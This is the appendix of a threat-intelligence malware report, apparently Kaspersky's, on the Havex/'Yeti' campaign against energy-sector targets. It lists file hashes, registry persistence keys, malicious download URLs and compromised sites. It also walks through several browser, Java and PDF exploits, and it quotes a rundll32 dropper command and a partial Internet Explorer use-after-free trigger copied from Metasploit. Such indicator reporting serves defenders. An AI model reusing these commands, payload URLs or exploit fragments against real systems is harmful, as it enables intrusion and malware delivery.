Win32.Injector.kcnn Description: Trojanized installer Path:  TEMP\mbCHECK.dll and SYSTEM\svcprocess043.dll SHA-256: d5687b5c5cec11c851e84a1d40af3ef52607575487a70224f63458c24481076c Size:  437248 Compiled: Fri, 11 Apr 2014 05:37:36 UTC Description: Havex version 043 Resource: 12.MTMxMjMxMg.5.havex.14400000.12.Explorer.EXE.0.2.66.sinfulce lebs.freesexycomics.com/wp05/wp-admin/includes/tmp/tmp.php.90.ra pidecharge.gigfa.com/blogs/wp-content/plugins/buddypress/bp-sett ings/bp-settings-src.php.354.AATXnMiwLuxCoMG7SqY1uQxAk1qLdyoED 9LxIVQr2Z/gsrHIsgTvK9AusdFo9..fzAxf1zXj42880kUmktmVb5HSYi8T27Q 54eQ4ZLUFKPKZstgHcwPVHGdwpmmRmk..09fL3KGd9SqR60Mv7QtJ4VwGDqrzOja Ml4SI7e60C4qDQAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..AAAAAAAAAAAAAAAAAAAAAQAB.
29.c8a7af419640516616c342b13efab.29.45474bca5c3a10c8e94e56543c2b d.600000.2000.323000.10.svcprocess.
Path:  TEMP\mbCHECK.exe SHA-256: 34254c2decc973dbd8f28b47690f233f5c5d3e1735ee20a6b8dd1dbe80d16d81 Size:  1647104 Compiled: Thu, 25 Jul 2013 13:30:28 UTC Description: original software, version 1.1.1.0 89 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Path:  TEMP\qln.dbx Size:  2 Description: text file with Havex version number Registry modification: [HKCUHKLM]\Software\Microsoft\Windows\CurrentVersion\Run] svcprocess  rundll32 SYSTEM\svcprocess043.dll, RunDllEntry [HKLM\Software\Microsoft\Internet Explorer\InternetRegistry] fertger  229182459113651166490098FD80-c8a7af419640516616c342b13efab Second stage tool delivery: kinoporno.org was a confirmed Yeti site.
It served Havex variant (d532eb6835126e53e7ae491ae29f d8b3) at kinoporno.org/Provider.dll.
It also served up the well-known lateral movement utility 64bit Windows Credential Editor tool at kinoporno.org/wce64.exe Another example above included a credential and document stealing component, downloaded as a part of the attack chain from nahoonservices.com: 91.203.6.71/check2/muees27jxt/fl.exe 90 TLP: Green For any inquire please contact intelreportskaspersky.com 10.2.
Exploitation CVE-2011-0611  - PDF exploit The exploit is delivered as an XDP file (XML Data Package) which is actually a PDF file packaged within an XML container.
This is a known PDF obfuscation method which serves as an additional anti-detection layer.
The XDP file contains an SWF exploit and two files (encrypted with XOR 0x04) stored in the invalid section of the PDF.
One of the files is Havex DLL (version 038), the other is a small JAR file, which is used to copy and run the DLL by executing the following command: cmd /c copy fname_passed_as_param TEMP\\explore.dll /y  rundll32.exe TEMP\\ explore.dll,RunDllEntry The SWF executes the action script, which contains a shellcode (encrypted with XOR 0x96) and another SWF file (encrypted with XOR 0x7D) which uses the CVE-2011-0611 vulnerability to run the shellcode.
The shellcode then looks for the signature S18t in the memory (which signs the start of encrypted DLL), decrypts and loads it.
Files summary: SHA-256: c521adc9620efd44c6fe89ff2385e0101b0e45bcd7ffcdd88e26fbab4bec2ef1 File type: XDP Size:  447723 Detected as: Exploit.
SWF.Pdfka.b Description: initial dropper SHA-256: 6b72d7aaccb2bf2f2cc08f8fab1c1a65beccd62d2f404d6c04806f3dc3c7ed3b File name: A9R1A89.pdf Size:  335498 Detected as: Exploit.
SWF.Pdfka.a Description: embedded PDF document SHA-256: dd6ea7b1f6d796fce4c562402549ef27f510747ddc9d71c54f47c9a75a7cf870 File name: Tatsumaki.swf Size:  3264 Detected as: Exploit.
SWF.Pdfka.a Description: malformed SWF 91 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com SHA-256: e94b97716d354a21dcff365e91d2f445fe2cac6a01a38f6dd1c921c57eeafef4 File type: SWF Size:  1484 Detected as: Exploit.SWF.CVE-2011-0611.ae Description: malformed SWF SHA-256: 3b6611878a4ebbafae0841e8057171d27793c5c883fdf8fb631c147f18dd90fe File name: htua.as Size:  8127 Detected as: Exploit.
SWF.Pdfka.c Description: malicious Action Script SHA-256: 9879f436afab7121e74c43cc9e7a9561711254fb1fc2400f68791932d2414c44 File name:  javaapplication1.jar Description: java file used to load the DLL SHA-256:  f6aab09e1c52925fe599246dfdb4c1d06bea5c380c4c3e9c33661c869d41a23a Path:  TEMP\explore.dll Size:  327168 Compiled: Mon, 30 Dec 2013 12:53:48 UTC Detected as: Trojan.
Win32.Bublik.burw Description: dropped DLL: Havex version 038 CVE-2012-1723 / CVE-2012-4681 - JAVA exploit In relation to the Yeti infections, we have discovered a malicious JAVA applet - named googlea.
jar - which was part of the malicious HTML file.
It uses either CVE-2012-1723 or CVE-2012-4681, depending on which Java version is running on the victims machine.
It downloads payloads to JAVATMP\roperXdun.exe (where X is the sequential number starting from 0 for the payload from the first URL from the list) and executes them.
The URL list is stored in the uid parameter in HTML file, so there is no way of checking what the payload was and where it came from without having the original HTML that embedded the malicious applet.
The URLs in the parameter are encrypted in the form of a string composed from numbers from 0 to 71 separated by colons.
Each number represents a different ASCII character.
Detections googlea.class -- Exploit.
Java.CVE-2012-1723.ou googleb.class -- Exploit.
Java.CVE-2012-1723.eh 92 TLP: Green For any inquire please contact intelreportskaspersky.com googlec.class -- Exploit.
Java.CVE-2012-1723.ov googled.class -- Exploit.
Java.CVE-2012-4681.at googlee.class -- Exploit.
Java.CVE-2012-4681.au googlef.class -- Exploit.
Java.CVE-2012-1723.ow hidden.class -- Exploit.
Java.CVE-2012-4681.as V.class -- Exploit.
Java.CVE-2012-4681.ar CVE-2010-2883 - Adobe Reader exploit nahoonservices.com/wp-content/plugins/rss-poster/jungle.pdf   3c38cb140c83d35ac312b7906b9 34fe3 temp\TmpProvider0.dll 783A5870FA3ECDEA0C49B20F5C024EFC Almost predictably, this early Yeti pdf exploit is yet another metasploit rip.
The ROP used in this Yeti exploit matches the msf code instruction for instruction.
The pdf stores the Havex downloader in its content, which it writes to temp and executes after obtaining control flow from Adobe Reader.
The significant stages of this exploit start by setting up parameters for the vulnerable strcat call in the CoolType SING table parsing library here, in order to overwrite the stack with an appropriate ROP blob.
The code is paused here at the vulnerable strcat call: 93 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com After the strcat call values smash the stack, an exact copy of the metasploit ROP code delivered by the Yeti exploit pivots from the (msf-selected) icucnv36.dll library into the microsoft c runtime to make a memcpy call here: The original 0-day exploiting this Adobe Reader vulnerability targeted icucnv34.dll.
Function call chains for both the Yeti ROP and the msf ROP are as follows: CreateFileA CreateFileMappingA MapViewOfFile save and load the saved mapping ptr memcpy ret back into shellcode for Havex file write to temp and execute This work is clearly a rip from metasploit.
CVE-2012-5076 - Java exploit www.nahoonservices.com/wp-content/plugins/rss-poster/dgoat.jar  www.nahoonservices.com/wp- content/plugins/rss-poster/jungle.php (TmpProvider0.dll, 2e39e7bd5d566893fe3df0c7e145d83a) dgoat.jar 94 TLP: Green For any inquire please contact intelreportskaspersky.com  dgoat EvilPolicy.class, 761 bytes Mosdef.class, 2176 bytes SiteError1.class, 1976 bytes SiteError.class, 4347 bytes  META-INF MANIFEST.MF, Manifest-Version: 1.0 Another exploit ripping metasploit code.
This exploit was first seen on a large scale when exploit code targeting cve-2012-5076 was included in the Cool Exploit pack.
The flaw lies in the configuration of the JRE itself and enables untrusted applets to access dangerous packages.
In other words, com.sun.org.glassfish.,\
was left out of the checkPackageAccess list in the java.security file.
From the unrestricted com.sun.org.glassfish.
package, the untrusted applets can create a class with elevated privilege.
In this case, one of the exposed dangerous packages happens to be com.sun.
org.glassfish.gmbal, which you can see imported by SiteError.class: Also in that class file is the trigger itself, where a malicious class is loaded on the fly by the unrestricted GenericConstructor code that should not have been available to an untrusted applet.
The new instance of localClass created from smd_bytes is nothing more than a call to set the SecurityManager value to null, effectively turning off the JRE sandbox security access features.
The exploit maintains a class in the byte array: 95 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com And when decoded, the contents of this smd_bytes array are in fact SecurityManagerDisabler.
class: After SecurityManagerDisabler.class disables the JRE SecurityManager, SiteError.class code loads the Mosdef.class, which downloads and runs another Havex backdoor.
It downloads www.nahoonservices.com/wp-content/plugins/rss-poster/jungle.php to temp, renames it to TMPprovider0.dll and executes the Havex code: 96 TLP: Green For any inquire please contact intelreportskaspersky.com CVE-2013-1488 - Java exploit www.nahoonservices.com/wp-content/plugins/rss-poster/start.jar   www.nahoonservices.com/ wp-content/plugins/rss-poster/juch.php 6f50b55b9f08522e35f871a9654c5a84, start.jar, Exploit.
Java.CVE-2011-3544.sf Delivers coresyns.exe, a Karagany backdoor start.jar FakeDriver.class, 1771 bytes FakeDriver2.class, 1573 bytes LyvAGalW.class, 2459 bytes  ---META-INF MANIFEST.MF - Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation)  ---services java.lang.
Object - FakeDriver,FakeDriver2 java.sql.
Driver - com.sun.script.javascript.
RhinoScriptEngine CVE-2013-0422 - Java exploit www.nahoonservices.com/wp-content/plugins/rss-poster/direct.jar www.nahoonservices.com/wp-content/plugins/rss-poster/noah.php, syscmmnet.exe 8907564aba9c9ae3225e304a847d8393, direct.jar, HEUR:Exploit.
Java.
CVE-2013-0431.gen fd4927baf0c49ecc3d9285404499a664b09e88140862b6f0ffadd5892de8618e direct.jar Joker.class, 809 bytes King.class, 4234 bytes Servant.class, 1231 bytes  ---META-INF MANIFEST.MF - Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation) CVE-2013-2465 - Java exploit serviciosglobal.com/classes/kool.jar serviciosglobal.com/classes/crunur2i.php?dwlfne temp\ntsvcreg.exe 6b89e569cfe25e6bb59ca51198f6e793, kool.jar, HEUR:Exploit.
Java.
Generic 5ecd5f9e2c38bdbc88ca29f363967812016b770d027842a9670d4ceb5b61232f 97 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com kool.jar fcswzHCx.class, 330 bytes gQHcpqRh.class, 486 bytes laovYlnv.class, 2804 bytes nTAYnMtPMyBufferedImage.class, 495 bytes nTAYnMtP.class, 4774 bytes qmNkVdFD.class, 331 bytes sMYrLAwc.class, 456 bytes  ---META-INF MANIFEST.MF - Manifest-Version: 1.0, Created-By: 1.7.0_11 (Oracle Corporation) This exploit is ripped almost directly from the metasploit framework - its simply modified with an additional string obfuscation handling method.
The obfuscation code in this java exploit is fairly weak but effective in modifying the metasploit code just enough to cover up similarities.
The exploit code was only slightly modified here to demonstrate the crypto routine and hardcoded string values for the payload url and filepath: Output here: Another CVE-2013-2465(2014.03) mahsms.ir/wp-includes/pomo/srgh.php?ar2 http://mahsms.ir/wp-includes/pomo/srgh.php?adwe (temp\ntregsrv.exe) 98 TLP: Green For any inquire please contact intelreportskaspersky.com 7193a06fd7ffe78b67a5fc3c3b599116,file.jar, dAFyTngH.class, 449 bytes FVlMQjZg.class, 330 bytes gYEgZwVz.class, 331 bytes jqoZhkHrMyBufferedImage.class, 495 bytes jqoZhkHr.class, 4785 bytes NNpGXbMk.class, 486 bytes yqHWgAJa.class, 2783 bytes ---META-INF MANIFEST.MF, Manifest-Version: 1.0\d\nCreated-By: 1.7.0_11 (Oracle Corporation) CVE-2013-1347 - Internet Explorer exploit kenzhebek.com_tiki/files/templates/listpages/negc.html kenzhebek.com/tiki/files/templates/listpages/hoem.php www.nahoonservices.com/wp-content/plugins/rss-poster/negc.html ee6409deb87cabb1d573b9e1367bd0df, negc.html, Exploit.
JS.CVE-2013-1347.a ec7ce1f3eac658ebd31d26d8d719b14903502cdea4938e6935a74d9355fe5282 2e27a5d1a4f4cf5729d23303a56daa70, negc.html, Exploit.
JS.CVE-2013-1347.b 03637d861d1b58863a212d4993fe4d2f, tmpprovider0.dll, Trojan-Dropper.
Win32.Daws.bqsi cb58396d40e69d5c831f46aed93231ed0b7d41fee95f8da7c594c9dbd06ee111 The exploit itself is finicky.
It is another rip of the corresponding metasploit code, with minor modifications.
See Obvious Metasploit Rips below.
The shellcode delivered with the exploit is nothing out of the ordinary, using expected thread environment variables to identify module locations in the memory...
The shellcode gets more interesting due to the manner in which the download url string was built.
99 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com The encoding algo was a simple additive 0x1010101 against every four bytes of the reversed string kenzhebek.com/tiki/files/templates/listpages/hoem.php, which was downloaded as a Havex backdoor.
The decoder looks like this... CVE-2012-1889 - Internet Explorer components exploit roxsuite.com/includes/phpmailer/irl.html 8b15ef4815c771a94b4adcaee8c67100 718c6211cb78e5fea0e02be4960c23f6c1cdb1eedeb7a711b595b422c84076a3 roxsuite.com/includes/phpmailer/page.jpg c:\DOCUME1\p\LOCALS1\Temp\sysplug.exe 11c3bb242264fe5146854ca27ebd50b0, sysplug.exe, Worm.
Win32.WBNA.pdj Signed with Intel Certificate, Root CA Intel (likely spoofed) temp\crtscp.exe 59f7a5d39c47bd62fedf24f5f2ea6e01, crtscp.exe, Worm.
Win32.WBNA.pdj 24c9d984bdaf2152bde121393efbaa894d3a361090f6b97623a90567c27ee2ca 100 TLP: Green For any inquire please contact intelreportskaspersky.com temp\spoolsv.dll 5441c2cfbdf1feafc3dafd69c34f5833, spoolsv.dll, Trojan.
Win32.Agent.icrq 103ee051b40466a13f03021903ea49194c1d1e31064173e21798502bcf7e276a Identifying the clsid used in this script is a giveaway on the targeted MS XML Core Services software: Of course, most of this code appears to be ripped from the corresponding metasploit exploit code.
Interestingly, the metasploit code was derived from 0day Itw at the time in June 2013.
But the attackers didnt use it until after the vulnerability was patched.
The Yeti attackers simply did not need a 0-day arsenal.
The attackers must have known or expected that they were targeting Internet Explorer 7 on the victims systems.
The later, updated versions of the corresponding metasploit code maintain ROP to evade problems with attacking IE 8 ASLR/DEP protections, but the Yeti code does not.
This absence is somewhat odd, because KSN events indicate the code was active in August 2013, and the metasploit dev added ROP to their code in June 2013.
The shellcode delivered from this exploit also includes an unusual url and filename string build routine: 101 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com The decoded strings here: 102 TLP: Green For any inquire please contact intelreportskaspersky.com 10.3.
Obvious Metasploit Rips The Yeti exploits are ripped line-for-line from the metasploit framework.
For example, class files served from www.nahoonservices.com/wp-content/plugins/rss-poster/start.
jar include code pulled from the msf.
From the Yeti LyvAGalW.class file: System.out.println(Here we go...) String s  jdbc:msf:sql://127.0.0.1:8080/sample String s2  userid String s3  password java.sql.
Connection connection  DriverManager.getConnection(s, s2, s3) And for comparison, here is the java exploit code from metasploit framework: github.com/rapid7/ metasploit-framework/blob/master/external/source/exploits/cve-2013-1488/Exploit.java: System.out.println(Here we go...) String url  jdbc:msf:sql://127.0.0.1:8080/sample String userid  userid String password  password Connection con  DriverManager.getConnection(url, userid, password) Yetis delivery of CVE-2013-1347 from nahoonservices.com/wp-content/plugins/rss-poster/negc.
html displays much the same level of technical originality.
From negc.html f0  document.createElement(span) document.body.appendChild(f0) f1  document.createElement(span) document.body.appendChild(f1) f2  document.createElement(span) document.body.appendChild(f2) document.body.contentEditabletrue f2.appendChild(document.createElement(datalist)) f1.appendChild(document.createElement(span)) f1.appendChild(document.createElement(table)) try f0.offsetParentnull catch(e) f2.innerHTML 103 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com f0.appendChild(document.createElement(hr)) f1.innerHTML CollectGarbage() try a  document.getElementById(myanim) a.values  animvalues  catch(e) The matching CVE-2013-1347 code pulled from msf https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/windows/ browser/ie_cgenericelement_uaf.rb (minor modifications made to its shellcode build algorithm.
Actually, the Yeti version is dumbed down, when compared to the metasploit framework version ): f0  document.createElement(span) document.body.appendChild(f0) f1  document.createElement(span) document.body.appendChild(f1) f2  document.createElement(span) document.body.appendChild(f2) document.body.contentEditabletrue f2.appendChild(document.createElement(datalist)) f1.appendChild(document.createElement(span)) f1.appendChild(document.createElement(table)) try f0.offsetParentnull catch(e) f2.innerHTML f0.appendChild(document.createElement(hr)) f1.innerHTML CollectGarbage() try a  document.getElementById(myanim) a.values  animvalues  catch(e) 104 TLP: Green For any inquire please contact intelreportskaspersky.com 10.4.
Changing Lights Out exploit sites download flow In earlier cases (July 2013), successful Java exploitation served from nahoonservices.com would cascade into more Yeti components planted on victim systems.
The java exploit in turn downloaded Karagany backdoors, which in turn downloaded stealers from 91.203.6.71: User visits utilico.co.uk  redirected to  nahoonservices.com  Java Exploits www.nahoonservices.com/wp-content/plugins/rss-poster/start.jar www.nahoonservices.com/wp-content/plugins/rss-poster/juch.php a615d71af0c856c89bb8ebb5c6e7644d fcf7bfe68ff302869475b73e4c605a099ed2e1074e79c7b3acb2a451cd2ea915 juch.php saved as searchindexer.exe, or coresyns.exe and run, then downloads and runs... 91.203.6.71/check2/muees27jxt/fl.exe 4bfdda1a5f21d56afdc2060b9ce5a170 07bd08b07de611b2940e886f453872aa8d9b01f9d3c61d872d6cfe8cde3b50d4 91.203.6.71/check2/muees27jxt/scs.exe da94235635f61a06a35882d30c7b62b3 05fb04474a3785995508101eca7affd8c89c658f7f9555de6d6d4db40583ac53 In a later incident, KSN data recorded one origin of these exploits as: hxxp://keeleux.com/sfreg/img/nav/gami.jar and hxxp://keeleux.com/sfreg/img/nav/stoh.jar  (ab580bd7a1193fe01855a6b8bd8f456b) The file stoh.jar includes DownloadExec.class, which maintains a hardcoded string to the URL.
This string appears to be more commonly implemented at the active exploit sites: hxxp://keeleux.com/sfreg/img/nav/iden21php?dwlfne It writes out the TmpProvider.dll Havex loader downloaded from this resource and runs it using rundll32.exe.
eWON trojanized installer detail: hxxp://www.ewon.biz/software/eCatcher/eCatcherSetup.exe (eb0dacdc8b346f44c8c370408bad43 06,70103c1078d6eb28b665a89ad0b3d11c1cbca61a05a18f87f6a16c79b501dfa9) Havex loader version 038 (401215e6ae0b80cb845c7e2910dddf08af84c249034d76e0cf1aa31f0cf2ea67) dropped as TmpProvider.dll.
105 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com 10.5.
Related Targeted Software and CVE Entries Internet Explorer CVE-2013-1347 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-1347 Microsoft Internet Explorer 8 does not properly handle objects in memory, which allows remote attackers to execute arbitrary code by accessing an object that (1) was not properly allocated or (2) is deleted, as exploited in the wild in May 2013.
CVE-2012-1889 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-1889 Microsoft XML Core Services 3.0, 4.0, 5.0, and 6.0 accesses uninitialized memory locations, which allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted web site.
Java CVE-2013-1488 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-1488 The Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, and OpenJDK 6 and 7, allows remote attackers to execute arbitrary code via unspecified vectors involving reflection, Libraries, improper toString calls, and the JDBC driver manager, as demonstrated by James Forshaw during a Pwn2Own competition at CanSecWest 2013.
CVE-2012-1723 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-1723 Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 update 32 and earlier, 5 update 35 and earlier, and 1.4.2_37 and earlier allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to Hotspot.
CVE-2012-5076 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-cve-2012-5076 Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allows remote attackers to affect confidentiality, integrity, and availability, related to JAX-WS.
CVE-2013-2465 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2013-2465 Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-1347 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-1889 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2013-1488 https://cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2012-1723 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-cve-2012-5076 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2013-2465 106 TLP: Green For any inquire please contact intelreportskaspersky.com 7 Update 21 and earlier, 6 Update 45 and earlier, and 5.0 Update 45 and earlier, and OpenJDK 7, allows remote attackers to affect confidentiality, integrity, and availability via unknown vectors related to 2D.
NOTE: the previous information is from the June 2013 CPU.
Oracle has not commented on claims from another vendor that this issue allows remote attackers to bypass the Java sandbox via vectors related to Incorrect image channel verification in 2D.
CVE-2013-2423 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2013-2423 Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 17 and earlier, and OpenJDK 7, allows remote attackers to affect integrity via unknown vectors related to HotSpot.
NOTE: the previous information is from the April 2013 CPU.
Oracle has not commented on claims from the original researcher that this vulnerability allows remote attackers to bypass permission checks by the MethodHandles method and modify arbitrary public final fields using reflection and type confusion, as demonstrated using integer and double fields to disable the security manager.
CVE-2012-4681 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2012-4681 Multiple vulnerabilities in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 6 and earlier allow remote attackers to execute arbitrary code via a crafted applet that bypasses SecurityManager restrictions by (1) using com.sun.beans.finder.
ClassFinder.findClass and leveraging an exception with the forName method to access restricted classes from arbitrary packages such as sun.awt.
SunToolkit, then (2) using reflection with a trusted immediate caller to leverage the getField method to access and modify private fields, as exploited in the wild in August 2012 using Gondzz.class and Gondvv.class.
CVE-2013-0422 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-cve-2013-0422 Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using the public getMBeanInstantiator method in the JmxMBeanServer class to obtain a reference to a private MBeanInstantiator object, then retrieving arbitrary Class references using the findClass method, and (2) using the Reflection API with recursion in a way that bypasses a security check by the java.lang.invoke.
MethodHandles.
Lookup.checkSecurityManager method due to the inability of the sun.reflect.
Reflection.getCallerClass method to skip frames related to the new reflection API, as exploited in the wild in January 2013, as demonstrated by Blackhole and Nuclear Pack, and a different vulnerability than CVE-2012-4681 and CVE-2012-3174.
NOTE: some parties have mapped the recursive Reflection API issue to CVE-2012-3174, but CVE-2012-3174 is for a different vulnerability whose details are not public as of 20130114.
CVE-2013-0422 covers both the JMX/MBean and Reflection API issues.
NOTE: it was originally reported that Java 6 was also vulnerable, but the reporter has retracted this claim, stating that Java 6 is not exploitable because https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2013-2423 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2012-4681 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-cve-2013-0422 107 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com the relevant code is called in a way that does not bypass security checks.
NOTE: as of 20130114, a reliable third party has claimed that the findClass/MBeanInstantiator vector was not fixed in Oracle Java 7 Update 11.
If there is still a vulnerable condition, then a separate CVE identifier might be created for the unfixed issue.
Mozilla Firefox CVE-2013-1690 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2013-1690 Mozilla Firefox before 22.0, Firefox ESR 17.x before 17.0.7, Thunderbird before 17.0.7, and Thunderbird ESR 17.x before 17.0.7 do not properly handle onreadystatechange events in conjunction with page reloading, which allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted web site that triggers an attempt to execute data at an unmapped memory location.
Adobe Reader CVE-2010-2883 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2010-2883 Stack-based buffer overflow in CoolType.dll in Adobe Reader and Acrobat 9.x before 9.4, and 8.x before 8.2.5 on Windows and Mac OS X, allows remote attackers to execute arbitrary code or cause a denial of service (application crash) via a PDF document with a long field in a Smart INdependent Glyphlets (SING) table in a TTF font, as exploited in the wild in September 2010.
NOTE: some of these details are obtained from third party information.
https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2013-1690 https://cve.mitre.org/cgi-bin/cvename.cgi?namecve-2010-2883 108 TLP: Green For any inquire please contact intelreportskaspersky.com XI.
Appendix 11: Malicious Domains and Redirectors Exploit URL Client side software CVE Approximately Active parkour.kz/wp-content/plugins/checkbot/kool.jar Java cve-2013-2465 2013.06 - 2013.12 www.nahoonservices.com/wp-content/plugins/rss- poster/negc.html Internet Explorer cve-2013-1347 2013.07 - 2013.08 nahoonservices.com/wp-content/plugins/rss-poster/ jungle.pdf Adobe Reader cve-2010-2883 2012.12 nahoonservices.com/wp-content/plugins/rss-poster/ direct.jar Java cve-2013-0422 2013.05 waytomiracle.com/physics/wp-content/plugins/ akismet/kool.jar Java cve-2013-2465 2014.01 kenzhebek.com/tiki/files/templates/listpages/start.
jar Java cve-2013-2423 2013.05 - 2013.09 kenzhebek.com/tiki/files/templates/listpages/negc.
html Internet Explorer cve-2013-1347 2013.05 kenzhebek.com/tiki/files/templates/listpages/negq.
html Internet Explorer cve-2013-1347 2013.08 kenzhebek.com/tiki/files/templates/listpages/stoq.
jar Java cve-2012-1723 2013.05 - 2013.09 keeleux.com/sfreg/img/nav/leks.jar Java cve-2012-1723 2013.08 www.nahoonservices.com/wp-content/plugins/rss- poster/start.jar Java cve-2013-1488 2013.07 www.nahoonservices.com/wp-content/plugins/rss- poster/dgoat.jar Java cve-2012-5076 2012.12 adultfriendgermany.com/wp-content/plugins/ google-analytics-for-wordpress/etihu.jar Java cve-2012-5076 2013.02 adultfriendfrance.com/wp-includes/pomo/Applet.jar Java cve-2012-1723 2013.02 lafollettewines.com/blog/wp-includes/pomo/direct.
jar Java cve-2013-0422 2013.02 lafollettewines.com/blog/wp-includes/pomo/leks.jar Java cve-2012-1723 2013.02 109 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Exploit URL Client side software CVE Approximately Active roxsuite.com/components/com_search/views/ search/tmpl/outstat.jar Java cve-2012.4681 2013.11 claudia.dmonzon.com/wp-content/plugins/jetpack/_ inc/Outstat.jar Java cve-2012-4681 2013.11 aziaone.com/wp-includes/pomo/Outstatsf.jar  Java cve-2012-4681 2012.09 roxsuite.com/includes/phpmailer/bara.jar Java cve-2012-1723 2012.08 serviciosglobal.com/classes/kool.jar Java cve-2013-2465 2013.11 mohsenmeghdari.com/addons/_defensio/leks.jar Java cve-2012-1723 2013.10 mohsenmeghdari.com/addons/_defensio/negc.html Internet Explorer cve-2013-1347 2013.09 mahsms.ir/wp-includes/pomo/srgh.php?ar2 Java cve-2013-2465 2014.01 cum-filled-trannys.com/wp-includes/pomo/Deliver.
jar Java cve-2012-4681 2012.08 woman-site.com/modules/mod_search/stoh.jar Java cve-2012-1723 2013.11 110 TLP: Green For any inquire please contact intelreportskaspersky.com Compromised Referrer Referrer Profile Exploit Site Approximately Active gse.com.ge Georgian State Electrosystem (GSE) - 100 state-owned joint stock company providing transmission and exclusive dispatch services to about 50 eligible companies in Georgia lafollettewines.
com 2013 Q1 gamyba.le.lt Lietuvos energijos gamyba - Lithuanias largest electricity generating company, which combines all state-operated electricity generating capacities lafollettewines.
com 2013 Q3 utilico.co.uk Investment company - significant proportion of its Gross Assets invested in developed markets in existing utilities and related stocks, including...water and sewerage companies, waste, electricity, gas, telecommunications, ports, airports, service companies, rail, roads, any business with essential service or monopolistic characteristics and in any new utilities Chairman - has many years experience in the international utility sector, playing a major role in the restructuring and privatization of the UK electricity industry nahoonservices.
com 2012 Q4 - 2013 Q1 yell.ge Georgian Yellow Pages, maintains Manganese mining org contacts nahoonservices.
com 2012 Q4 - 2013 Q1 chariotoilandgas.com Chariot Oil and Gas Limited - independent oil and gas exploration company with interests in Namibia and Mauritania nahoonservices.
com 2012 Q4 - 2013 Q1 111 TLP: GreenTLP: Green For any inquire please contact intelreportskaspersky.com For any inquire please contact intelreportskaspersky.com Compromised Referrer Referrer Profile Exploit Site Approximately Active longreachoilandgas.com Longreach Oil  Gas Ltd. - fast growing oil and gas exploration company, with significant license interest in onshore and offshore Morocco nahoonservices.
com 2012 Q4 - 2013 Q1 strainstall.com For more than 45 years Strainstall has helped industries worldwide to operate safely by ensuring that structures, equipment and infrastructure are safe to use.
We have developed world-class systems to monitor physical and performance parameters such as load, stress, temperature, acceleration, pressure and displacement nahoonservices.
com 2012 Q4 - 2013 Q1 jfaerospace.com James Fisher Aerospace (JFA) is an internationally respected aerospace project organization, with an extensive multi-skilled engineering design and global supply capability supporting military and civil aerospace industries Formerly known as JF Faber, the companys expertise and experience includes extensive projects in aerospace as well as in a variety of other high integrity industries nahoonservices.
com 2012 Q4 - 2013 Q1 vitogaz.com French-based gas distributor, supplier and technical developer serviciosglobal.
com 2013 Q4 vitogaz.com French-based gas distributor, supplier and technical developer keeleux.com 2013 Q4 bsicomputer.com California-based industrial computer systems manufacturer and developer serviciosglobal.
com 2013 Q4 112 TLP: Green For any inquire please contact intelreportskaspersky.com Compromised Referrer Referrer Profile Exploit Site Approximately Active energyplatform.eu French-based RBF, Renewables Business Facilitator - organization representing 200 renewable energy research centers and businesses serviciosglobal.
com 2013 Q4 firstenergy.com FirstEnergy Capital - Calgary based investment banking provider.
Financial, advisory and investment services to the global energy sector serviciosglobal.
